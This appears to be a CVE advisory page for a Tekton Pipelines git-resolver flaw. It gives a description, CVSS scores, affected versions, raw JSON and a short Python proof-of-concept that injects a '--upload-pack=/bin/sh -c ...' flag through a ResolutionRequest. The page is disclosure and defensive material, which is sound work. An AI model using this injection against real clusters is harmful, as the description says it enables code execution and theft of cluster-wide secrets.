Security Vulnerability Report
中文
CVE-2026-40938 CVSS 7.5 HIGH

CVE-2026-40938

Published: 2026-04-21 21:16:46
Last Modified: 2026-05-21 23:16:45

Description

Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:* - VULNERABLE
Tekton Pipelines >= 1.0.0, < 1.0.2
Tekton Pipelines >= 1.3.0, < 1.3.4
Tekton Pipelines >= 1.6.0, < 1.6.2
Tekton Pipelines >= 1.9.0, < 1.9.3
Tekton Pipelines >= 1.11.0, < 1.11.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept: Injecting git fetch flags via ResolutionRequest # Attacker creates a malicious ResolutionRequest to exploit the resolver. import yaml # Malicious payload demonstrating the injection # The 'revision' field injects the --upload-pack flag # The 'url' field uses a local path permitted by validateRepoURL payload = { "apiVersion": "resolution.tekton.dev/v1beta1", "kind": "ResolutionRequest", "metadata": {"name": "cve-2026-40938-poc"}, "spec": { "url": "/etc/passwd", # Local filesystem path "params": [ { "name": "revision", # Injecting arbitrary flag to execute command "value": "--upload-pack=/bin/sh -c 'whoami > /tmp/pwned'" } ] } } print(yaml.dump(payload))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40938", "sourceIdentifier": "[email protected]", "published": "2026-04-21T21:16:46.283", "lastModified": "2026-05-21T23:16:44.873", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-88"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.11.0", "matchCriteriaId": "64DC28D5-E9D3-4D6A-8006-ADDE91D144BA"}]}]}], "references": [{"url": "https://github.com/tektoncd/pipeline/releases/tag/v1.11.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-94jr-7pqp-xhcq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-94jr-7pqp-xhcq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}